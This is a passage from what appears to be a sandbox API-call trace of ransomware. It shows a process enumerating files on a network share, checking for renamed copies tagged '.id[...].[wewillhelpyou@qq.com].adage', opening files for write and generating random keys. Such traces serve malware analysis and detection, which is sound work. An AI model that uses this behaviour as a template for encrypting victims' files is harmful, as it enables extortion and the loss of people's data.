dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0146.467] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=41301) returned 1 [0146.467] CloseHandle (hObject=0x228) returned 1 [0146.467] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tdyTR6vSlTZHl.m4a" (normalized: "\\\\192.168.0.1\\documents\\tdytr6vsltzhl.m4a")) returned 0x80 [0146.468] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tdyTR6vSlTZHl.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\tdytr6vsltzhl.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0146.468] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tdyTR6vSlTZHl.m4a" (normalized: "\\\\192.168.0.1\\documents\\tdytr6vsltzhl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.686] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0147.686] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KwuGmh9JdfDxPED09.jpg" (normalized: "\\\\192.168.0.1\\documents\\kwugmh9jdfdxped09.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0147.795] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=22417) returned 1 [0147.795] CloseHandle (hObject=0x228) returned 1 [0147.795] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KwuGmh9JdfDxPED09.jpg" (normalized: "\\\\192.168.0.1\\documents\\kwugmh9jdfdxped09.jpg")) returned 0x80 [0147.796] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KwuGmh9JdfDxPED09.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kwugmh9jdfdxped09.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0147.796] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KwuGmh9JdfDxPED09.jpg" (normalized: "\\\\192.168.0.1\\documents\\kwugmh9jdfdxped09.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.094] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.094] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EkCDp.xls" (normalized: "\\\\192.168.0.1\\documents\\ekcdp.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0148.095] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=81511) returned 1 [0148.096] CloseHandle (hObject=0x224) returned 1 [0148.096] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EkCDp.xls" (normalized: "\\\\192.168.0.1\\documents\\ekcdp.xls")) returned 0x80 [0148.096] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EkCDp.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ekcdp.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.096] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EkCDp.xls" (normalized: "\\\\192.168.0.1\\documents\\ekcdp.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.098] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.098] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p2b1gzQI.xls" (normalized: "\\\\192.168.0.1\\documents\\p2b1gzqi.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.099] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=72872) returned 1 [0148.099] CloseHandle (hObject=0x228) returned 1 [0148.099] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p2b1gzQI.xls" (normalized: "\\\\192.168.0.1\\documents\\p2b1gzqi.xls")) returned 0x80 [0148.100] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p2b1gzQI.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\p2b1gzqi.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.100] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p2b1gzQI.xls" (normalized: "\\\\192.168.0.1\\documents\\p2b1gzqi.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.102] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.102] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VF8E6ekoFe4DVWHEy.flv" (normalized: "\\\\192.168.0.1\\documents\\vf8e6ekofe4dvwhey.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.102] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=41321) returned 1 [0148.102] CloseHandle (hObject=0x228) returned 1 [0148.103] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VF8E6ekoFe4DVWHEy.flv" (normalized: "\\\\192.168.0.1\\documents\\vf8e6ekofe4dvwhey.flv")) returned 0x80 [0148.103] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VF8E6ekoFe4DVWHEy.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vf8e6ekofe4dvwhey.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.103] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VF8E6ekoFe4DVWHEy.flv" (normalized: "\\\\192.168.0.1\\documents\\vf8e6ekofe4dvwhey.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.105] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.105] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSKEoPSkeN.jpg" (normalized: "\\\\192.168.0.1\\documents\\sskeopsken.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.106] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=33078) returned 1 [0148.106] CloseHandle (hObject=0x228) returned 1 [0148.106] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSKEoPSkeN.jpg" (normalized: "\\\\192.168.0.1\\documents\\sskeopsken.jpg")) returned 0x80 [0148.106] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSKEoPSkeN.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\sskeopsken.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.106] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSKEoPSkeN.jpg" (normalized: "\\\\192.168.0.1\\documents\\sskeopsken.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.108] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.108] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qWCrNc.m4a" (normalized: "\\\\192.168.0.1\\documents\\qwcrnc.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.109] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=69270) returned 1 [0148.109] CloseHandle (hObject=0x228) returned 1 [0148.109] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qWCrNc.m4a" (normalized: "\\\\192.168.0.1\\documents\\qwcrnc.m4a")) returned 0x80 [0148.109] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qWCrNc.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\qwcrnc.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.109] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qWCrNc.m4a" (normalized: "\\\\192.168.0.1\\documents\\qwcrnc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.111] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.111] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cgtqEFU0PAhrauJ.ods" (normalized: "\\\\192.168.0.1\\documents\\cgtqefu0pahrauj.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.112] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=50944) returned 1 [0148.112] CloseHandle (hObject=0x228) returned 1 [0148.112] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cgtqEFU0PAhrauJ.ods" (normalized: "\\\\192.168.0.1\\documents\\cgtqefu0pahrauj.ods")) returned 0x80 [0148.112] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cgtqEFU0PAhrauJ.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cgtqefu0pahrauj.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.112] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cgtqEFU0PAhrauJ.ods" (normalized: "\\\\192.168.0.1\\documents\\cgtqefu0pahrauj.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.114] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.114] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z1vXQLb4e3vCWmHziUz.mkv" (normalized: "\\\\192.168.0.1\\documents\\z1vxqlb4e3vcwmhziuz.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.115] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=25913) returned 1 [0148.115] CloseHandle (hObject=0x228) returned 1 [0148.115] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z1vXQLb4e3vCWmHziUz.mkv" (normalized: "\\\\192.168.0.1\\documents\\z1vxqlb4e3vcwmhziuz.mkv")) returned 0x80 [0148.115] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z1vXQLb4e3vCWmHziUz.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\z1vxqlb4e3vcwmhziuz.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.115] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z1vXQLb4e3vCWmHziUz.mkv" (normalized: "\\\\192.168.0.1\\documents\\z1vxqlb4e3vcwmhziuz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.117] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.117] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U3BnARny7QLta.mp4" (normalized: "\\\\192.168.0.1\\documents\\u3bnarny7qlta.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.121] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=32978) returned 1 [0148.121] CloseHandle (hObject=0x228) returned 1 [0148.121] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U3BnARny7QLta.mp4" (normalized: "\\\\192.168.0.1\\documents\\u3bnarny7qlta.mp4")) returned 0x80 [0148.122] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U3BnARny7QLta.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\u3bnarny7qlta.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.122] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U3BnARny7QLta.mp4" (normalized: "\\\\192.168.0.1\\documents\\u3bnarny7qlta.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.123] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.123] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7jSTZlo2FBO75BUO.wav" (normalized: "\\\\192.168.0.1\\documents\\7jstzlo2fbo75buo.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.124] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=92164) returned 1 [0148.124] CloseHandle (hObject=0x228) returned 1 [0148.124] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7jSTZlo2FBO75BUO.wav" (normalized: "\\\\192.168.0.1\\documents\\7jstzlo2fbo75buo.wav")) returned 0x80 [0148.125] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7jSTZlo2FBO75BUO.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\7jstzlo2fbo75buo.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.125] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7jSTZlo2FBO75BUO.wav" (normalized: "\\\\192.168.0.1\\documents\\7jstzlo2fbo75buo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.126] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.126] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OxtG5eiXbm.xls" (normalized: "\\\\192.168.0.1\\documents\\oxtg5eixbm.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.127] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=95958) returned 1 [0148.127] CloseHandle (hObject=0x228) returned 1 [0148.127] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OxtG5eiXbm.xls" (normalized: "\\\\192.168.0.1\\documents\\oxtg5eixbm.xls")) returned 0x80 [0148.128] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OxtG5eiXbm.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\oxtg5eixbm.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.128] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OxtG5eiXbm.xls" (normalized: "\\\\192.168.0.1\\documents\\oxtg5eixbm.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.129] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.129] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\S1VrbK55Uey.bmp" (normalized: "\\\\192.168.0.1\\documents\\s1vrbk55uey.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.130] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=99767) returned 1 [0148.130] CloseHandle (hObject=0x228) returned 1 [0148.130] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\S1VrbK55Uey.bmp" (normalized: "\\\\192.168.0.1\\documents\\s1vrbk55uey.bmp")) returned 0x80 [0148.131] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\S1VrbK55Uey.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\s1vrbk55uey.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.131] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\S1VrbK55Uey.bmp" (normalized: "\\\\192.168.0.1\\documents\\s1vrbk55uey.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.132] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.132] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\DWHuuMWix2.flv" (normalized: "\\\\192.168.0.1\\documents\\dwhuumwix2.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.133] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=33333) returned 1 [0148.133] CloseHandle (hObject=0x228) returned 1 [0148.133] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\DWHuuMWix2.flv" (normalized: "\\\\192.168.0.1\\documents\\dwhuumwix2.flv")) returned 0x80 [0148.134] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\DWHuuMWix2.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\dwhuumwix2.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.134] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\DWHuuMWix2.flv" (normalized: "\\\\192.168.0.1\\documents\\dwhuumwix2.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.135] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.135] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YizWtOq9sqniAiG.pptx" (normalized: "\\\\192.168.0.1\\documents\\yizwtoq9sqniaig.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.136] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=31083) returned 1 [0148.136] CloseHandle (hObject=0x228) returned 1 [0148.137] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YizWtOq9sqniAiG.pptx" (normalized: "\\\\192.168.0.1\\documents\\yizwtoq9sqniaig.pptx")) returned 0x80 [0148.137] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YizWtOq9sqniAiG.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\yizwtoq9sqniaig.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.137] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YizWtOq9sqniAiG.pptx" (normalized: "\\\\192.168.0.1\\documents\\yizwtoq9sqniaig.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.138] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.138] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SfTEIxbdxeH16.wav" (normalized: "\\\\192.168.0.1\\documents\\sfteixbdxeh16.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.139] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=58148) returned 1 [0148.139] CloseHandle (hObject=0x228) returned 1 [0148.140] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SfTEIxbdxeH16.wav" (normalized: "\\\\192.168.0.1\\documents\\sfteixbdxeh16.wav")) returned 0x80 [0148.140] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SfTEIxbdxeH16.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\sfteixbdxeh16.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.140] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SfTEIxbdxeH16.wav" (normalized: "\\\\192.168.0.1\\documents\\sfteixbdxeh16.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.141] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.141] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICn9FymqAtw6QQL.ppt" (normalized: "\\\\192.168.0.1\\documents\\icn9fymqatw6qql.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.142] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=61068) returned 1 [0148.142] CloseHandle (hObject=0x228) returned 1 [0148.143] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICn9FymqAtw6QQL.ppt" (normalized: "\\\\192.168.0.1\\documents\\icn9fymqatw6qql.ppt")) returned 0x80 [0148.143] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICn9FymqAtw6QQL.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\icn9fymqatw6qql.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.143] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICn9FymqAtw6QQL.ppt" (normalized: "\\\\192.168.0.1\\documents\\icn9fymqatw6qql.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.144] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.144] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ewbUbaNVSvHfRRfQfQLC.xls" (normalized: "\\\\192.168.0.1\\documents\\ewbubanvsvhfrrfqfqlc.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0148.145] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=31799) returned 1 [0148.145] CloseHandle (hObject=0x228) returned 1 [0148.146] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ewbUbaNVSvHfRRfQfQLC.xls" (normalized: "\\\\192.168.0.1\\documents\\ewbubanvsvhfrrfqfqlc.xls")) returned 0x80 [0148.146] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ewbUbaNVSvHfRRfQfQLC.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ewbubanvsvhfrrfqfqlc.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0148.146] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ewbUbaNVSvHfRRfQfQLC.xls" (normalized: "\\\\192.168.0.1\\documents\\ewbubanvsvhfrrfqfqlc.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.234] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0148.234] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\svuJsC.pdf" (normalized: "\\\\192.168.0.1\\documents\\svujsc.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 